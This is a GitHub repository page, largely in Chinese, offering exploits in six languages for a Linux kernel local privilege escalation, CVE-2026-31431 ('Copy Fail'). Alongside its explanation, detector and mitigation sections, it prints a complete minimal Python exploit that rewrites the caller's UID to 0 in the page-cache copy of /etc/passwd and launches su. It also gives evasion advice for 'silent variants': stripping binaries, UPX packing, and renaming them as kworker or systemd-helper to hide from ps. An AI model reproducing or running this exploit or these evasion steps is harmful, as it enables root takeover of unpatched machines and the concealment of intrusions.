Shotafry/CopyFail-Exploits-CVE-2026-31431

GitHub: Shotafry/CopyFail-Exploits-CVE-2026-31431

针对 Linux 内核 CVE-2026-31431(Copy Fail)确定性本地提权漏洞的多语言 exploit 合集,提供从检测到利用的完整工具链。

Stars: 6 | Forks: 0

# CVE-2026-31431 — 复制失败 ## 目录 - [什么是 Copy Fail?](#qué-es-copy-fail) - [谁发现了它?](#quién-lo-descubrió) - [严重性与 CVSS](#gravedad-y-cvss) - [它是如何工作的?](#cómo-funciona) - [前置条件](#requisitos) - [可用实现](#implementaciones-disponibles) - [按语言使用](#uso-por-lenguaje) - [系统验证](#verificación-del-sistema) - [运行时到底发生了什么?](#qué-pasa-exactamente-al-ejecutarlo) - [在 CTF 和测试环境中的使用](#uso-en-ctfs-y-entornos-de-prueba) - [混淆 — 静默变种](#ofuscación--variantes-silenciosas) - [缓解措施与补丁](#mitigación-y-parche) - [仓库结构](#estructura-del-repo) - [免责声明](#aviso-legal) ## 什么是 Copy Fail? **Copy Fail** 是 Linux 内核中的一个本地权限提升(LPE)漏洞,编号为 **CVE-2026-31431**。它影响内核的加密子系统,具体来说是管理通过 `AF_ALG` socket 进行认证加密(AEAD)操作的 `algif_aead` 模块。 该缺陷是在 **2017** 年对 `authencesn` 模块的一次优化中引入的,并且在将近 9 年的时间里未被发现,存在于几乎所有现代 Linux 发行版中。 使得 Copy Fail 不同于其他历史 LPE 漏洞的特点: | 特征 | Copy Fail | 典型的 LPE | |---|---|---| | 需要 race condition | ❌ 否 | ✅ 是 | | 需要特定的内核偏移量 | ❌ 否 | ✅ 是 | | 在所有发行版上可用 | ✅ 是 | ❌ 通常否 | | 可靠性 | 100% 确定性 | 不定 | | 修改磁盘 | ❌ 否(仅限 RAM) | 视情况而定 | ## 谁发现了它? 该漏洞由 **Theori** 研究团队的 **Taeyang Lee** 发现。完整的 exploit 链由 **Xint Code Research** 团队开发,他们利用 AI 辅助分析 Linux 内核的 `crypto/` 子系统记录了这一过程。 公开披露包括可用的 PoC、完整的技术分析以及在 [copy.fail](https://copy.fail) 上的文档。 ## 严重性与 CVSS ``` CVE: CVE-2026-31431 CVSS: 7.8 — ALTA Vector: Local Impacto: Escalada de privilegios completa (root) Distros: Todas las distribuciones Linux con kernel >= 2017 sin parchear ``` 其 CVSS 评分为 7.8,未能达到严重级别(9+)的唯一原因是它需要事先拥有本地访问权限——即攻击者必须已经在系统中拥有一个会话。在云环境和 Docker 容器中,这个前提条件比看起来要容易满足得多。 ## 它是如何工作的? ### 内核的 page cache Linux 内核将最近读取过的文件保存在 RAM 中。这被称为 **page cache**。当进程读取 `/etc/passwd` 时,内核不会去访问磁盘——而是提供 RAM 中的副本。这速度更快,但也创建了一个攻击面:如果你能在不触碰磁盘的情况下修改 RAM 中的那个副本,系统就会看到虚假数据。 ### algif_aead 中的 bug `algif_aead` 模块允许用户空间通过 `AF_ALG` socket 执行 AEAD 操作。该 bug 存在于 2017 年引入的优化中:当使用 `splice()` 将文件页面传递给 socket 时,这些 page cache 的页面最终会落入加密操作 **目标**(可写)的散列表中。 结果:任何无特权的用户都可以将 **4 个受控字节** 写入其能够读取的任何文件中,而无需触碰磁盘。 ### 利用流程 ``` Usuario sin privilegios │ ▼ Abre socket AF_ALG (authencesn) │ ▼ sendmsg() — parámetros AEAD con nuestros 4 bytes en seqno_lo │ ▼ splice() — fichero → pipe → socket op [BUG] La page cache del fichero queda en el scatterlist destino │ ▼ recv() dispara la operación AEAD La auth falla (EBADMSG) pero el scratch-write ya ocurrió │ ▼ /etc/passwd (page cache) ahora dice: usuario → UID 0 │ ▼ su → PAM valida contraseña real → setuid(0) → ROOT ``` ### 简单比喻 想象内核有一本城堡的登记簿 (`/etc/passwd`)。Copy Fail 就像是发现,如果你按照非常特定的顺序打开城堡的魔法工坊,那本登记簿会意外地留在你的工作台上——然后你可以用一支笔把你的级别从“列兵”改成“国王”。档案管理员(PAM)会检查你的密码,但他不会去检查原始的登记簿,只检查你面前的那份副本。于是你就成了国王。 ## 运行时到底发生了什么? ![passwd 实时修改中](https://static.pigsec.cn/wp-content/uploads/repos/2026/05/cb197e6a7c052141.png) ## 可用实现 ## 前置条件 ### 目标系统要求 - 未打 CVE-2026-31431 补丁的 Linux 内核 `>= ~2017` - `algif_aead` 模块可用且可加载 - 4 位数的 UID(1000–9999)——所有发行版的标准配置 ### 快速验证 这一步实际上可以跳过,直接去尝试运行某个 exploit,但如果我们不想冒险上传或创建它们,而只想看看系统是否有效,这也是有效的。不过,这些 exploit 本身也具有检查相关系统是否易受攻击的功能。 ``` # 查看内核版本 uname -a # 检查算法是否可用 grep -i authencesn /proc/crypto # 检查模块是否已加载 lsmod | grep alg ``` 如果 `grep -i authencesn /proc/crypto` 返回了 `authencesn(hmac(sha256),cbc(aes))`,则该系统易受攻击。 ### 按语言分类 | 语言 | 目标机要求 | 需预编译 | |---|---|---| | C | 无(静态二进制文件) | 编译机需装有 `gcc` | | Python | Python 3.10+ | 否 | | Rust | 无(静态二进制文件) | 编译机需装有 `rustc` | | Go | 无(静态二进制文件) | 编译机需装有 `go` | | Ruby | Ruby + `fiddle` gem(默认包含) | 否 | | Perl | Perl 5(几乎所有 Linux 均默认包含) | 否 | ## 可用实现 本仓库包含了使用 **6 种语言** 实现的 exploit,它们在功能上完全等同,并带有西班牙语的详细教学注释。 ``` copy_fail_exploit.c → C — binario estático, cero dependencias copy_fail_exploit.py → Python — más legible, ideal para aprender copy_fail_exploit.rs → Rust — la ironía: lenguaje "seguro" explota kernel copy_fail_exploit.go → Go — binario estático, muy portable copy_fail_exploit.rb → Ruby — omnipresente en servidores Rails copy_fail_exploit.pl → Perl — el más silencioso, está en todo Linux test_cve_2026_31431.py → Detector — verifica vulnerabilidad sin explotar nada ``` ## 按语言使用 ### 检测器(务必优先运行此步骤) ``` python3 test_cve_2026_31431.py ``` - Exit 0 → 不易受攻击 - Exit 2 → 易受攻击 - Exit 1 → 测试出错 ### C ``` # 编译 gcc copy_fail_exploit.c -o copy_fail_c # Dry-run(退出时清理,不留痕迹) ./copy_fail_c # 完整 Exploit ./copy_fail_c --shell ``` ### Python ``` # Dry-run python3 copy_fail_exploit.py # 完整 Exploit python3 copy_fail_exploit.py --shell ``` ### Rust ``` # 编译 rustc copy_fail_exploit.rs -o copy_fail_rs # Dry-run ./copy_fail_rs # 完整 Exploit ./copy_fail_rs --shell ``` ### Go ``` # 编译 go build -o copy_fail_go copy_fail_exploit.go # Dry-run ./copy_fail_go # 完整 Exploit ./copy_fail_go --shell ``` ### Ruby ``` # Dry-run ruby copy_fail_exploit.rb # 完整 Exploit ruby copy_fail_exploit.rb --shell ``` ### Perl ``` # Dry-run perl copy_fail_exploit.pl # 完整 Exploit perl copy_fail_exploit.pl --shell ``` ### 语言安装(如果没有的话) ``` # Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh source ~/.cargo/env # Go apt install golang-go # Ruby(通常在 Kali 中预装) apt install ruby # Perl(几乎总是存在) perl --version ``` ## 系统验证 运行 exploit 之后(在执行 `su` 之前),你可以用以下命令直观地验证 page cache 中的更改: ``` # 终端 1:实时监控 watch -n 0.5 'grep tuusuario /etc/passwd' # 终端 2:运行 exploit python3 copy_fail_exploit.py --shell ``` 你会看到 UID 字段实时从 `1000` 变为 `0000`。在执行 `su` 之后: ``` id # uid=0(root) gid=0(root) groups=0(root) ``` 要在不重启的情况下进行清理(从 root shell 中执行): ``` echo 3 > /proc/sys/vm/drop_caches ``` ## 运行时到底发生了什么? ``` [*] CVE-2026-31431 LPE usuario=shotafry uid=1000 [*] /etc/passwd: usuario 'shotafry' — campo UID en offset 3118 = '1000' [*] Aplicando write4: '1000' -> '0000' en la page cache... [+] Page cache ahora muestra UID 0 en offset 3118 [+] /etc/passwd (page cache) ahora lista a shotafry como UID 0 [+] Ejecuta: su shotafry [+] Introduce tu contraseña. su hará setuid(0) → shell root. ``` 磁盘**绝对不会**被修改。重启或执行 `drop_caches` 即可将一切恢复原状。 ## 在 CTF 和测试环境中的使用 在任何内核未打补丁的 Linux 提权 CTF 或实验环境中,Copy Fail 都非常实用。 ### CTF 注意事项 - **首先使用检测脚本验证内核**,然后再尝试 exploit - **dry-run 模式不会留下任何痕迹**——用它来确认漏洞而无需破坏系统 - **`algif_aead` 模块可能在 hardened 环境中被禁用**——如果检测器在 AF_ALG 步骤失败,请寻找其他向量 - **seccomp profiles** 可能会阻止某些容器所需的 syscalls——在这种情况下,即使内核存在漏洞,exploit 也无法运行 ### CTF 推荐流程 ``` # 1. 检查内核 uname -a # 2. 探测器 python3 test_cve_2026_31431.py # 3. 若存在漏洞,则运行 exploit python3 copy_fail_exploit.py --shell # 4.事后清理 echo 3 > /proc/sys/vm/drop_caches ``` ## 混淆 — 静默变种 本仓库中的实现带有详尽的注释,是为了教学目的而设计的。在实际的渗透测试场景中,你可能需要更隐蔽的版本。 ### 混淆原则 该 exploit 的核心只有 5 个 syscalls:`socket`、`bind`、`setsockopt`、`sendmsg`、`splice`。其余的都是锦上添花。一个静默版本会消除所有的输出,并将代码精简到满足功能的最低限度。 ### 示例 — Python 极简版 ``` # 无输出的紧凑版本 — 功能相同,检测面更小 import os, socket, struct, pwd def w4(p, o, b): f = os.open(p, 0); os.read(f, 4096) m = socket.socket(38, 5, 0) m.bind(("aead", "authencesn(hmac(sha256),cbc(aes))")) m.setsockopt(279, 1, struct.pack("HH", 8, 1) + struct.pack(">I", 16) + b"\x00"*48) op, _ = m.accept() aad = b"\x00\x00\x00\x00" + b op.sendmsg([aad], [(279,3,struct.pack("I",0)),(279,2,struct.pack("I",16)+b"\x00"*16),(279,4,struct.pack("I",8))], 32768) pr, pw = os.pipe() os.splice(f, pw, 32, offset_src=o); os.splice(pr, op.fileno(), 32) try: op.recv(64) except: pass [os.close(x) for x in [pr,pw,op.fileno(),m.fileno(),f]] u = pwd.getpwuid(os.getuid()).pw_name d = open("/etc/passwd","rb").read() i = d.index(u.encode()+b":")+len(u)+1 i = d.index(b":",i)+1 w4("/etc/passwd", i, b"0000") os.execvp("su", ["su", u]) ``` ### 额外的规避技术 - **使用 `strip` 处理 C 二进制文件**:`gcc exploit.c -o exploit && strip exploit`——移除 debug 符号 - **UPX**:`upx --best exploit`——压缩二进制文件,改变其签名 - **重命名二进制文件**:将其命名为 `kworker` 或 `systemd-helper`,以便在 `ps` 列表中不被察觉 ## 缓解措施与补丁 ### 根本性解决方案 ``` # Debian/Ubuntu/Kali apt update && apt upgrade # RHEL/CentOS/Fedora dnf update # Arch pacman -Syu ``` ### 紧急缓解措施(无需重启) 如果你无法立即打补丁,请禁用易受攻击的模块: ``` # 禁用模块 rmmod algif_aead 2>/dev/null # 防止在未来加载 echo "install algif_aead /bin/false" >> /etc/modprobe.d/disable-algif.conf ``` ### 验证是否已打补丁 ``` python3 test_cve_2026_31431.py # [+] 页面缓存完整。此内核不受此漏洞影响。 ``` ### 针对 Docker 环境 补丁必须应用到**宿主机内核**——容器共享内核,在此漏洞面前无法独善其身。仅仅更新容器镜像起不到任何保护作用。 ## 仓库结构 ``` CVE-2026-31431-Copy-Fail/ ├── README.md ← Este fichero (ES) ├── README_ENGLISH.md ← Versión en inglés ├── copy_fail_exploit.c ← Exploit en C ├── copy_fail_exploit.py ← Exploit en Python ├── copy_fail_exploit.rs ← Exploit en Rust ├── copy_fail_exploit.go ← Exploit en Go ├── copy_fail_exploit.rb ← Exploit en Ruby ├── copy_fail_exploit.pl ← Exploit en Perl ├── test_cve_2026_31431.py ← Detector (safe, no modifica nada) └── assets/ ├── Infografia.png ← Infografía del exploit ├── Exploit en C.png ← Captura del exploit C en acción └── passwd.png ← Output del detector en sistema vulnerable ``` ## [ shotafry 备注 ] ## 参考文献 - [copy.fail](https://copy.fail) — 漏洞官方网站 - [NVD CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431) - 内核原始 commit (2017) — `authencesn` / `algif_aead` 模块 ## 免责声明 本仓库仅供教育、安全研究以及在自有系统或获得明确书面授权的系统上进行测试之用。 在大多数司法管辖区,未经授权对这些工具的使用是违法的。作者不对本资料的滥用承担任何责任。 **仅在你拥有或获得授权审计的系统上进行测试。**
*出于好奇,在实验室里完成,伴以过多的咖啡,或者确切地说,是0.0度的无醇啤酒。* *[@shotafry](https://github.com/shotafry)* [@BrayLozano](https://www.linkedin.com/in/braylozano)
标签:0day挖掘, AF_ALG, algif_aead, Copy Fail, CVE-2026-31431, Linux内核漏洞, LPE, PoC, Web报告查看器, 内核安全, 可视化界面, 安全渗透, 密码学子系统, 日志审计, 暴力破解, 本地提权, 漏洞分析, 网络安全, 路径探测, 逆向工具, 通知系统, 隐私保护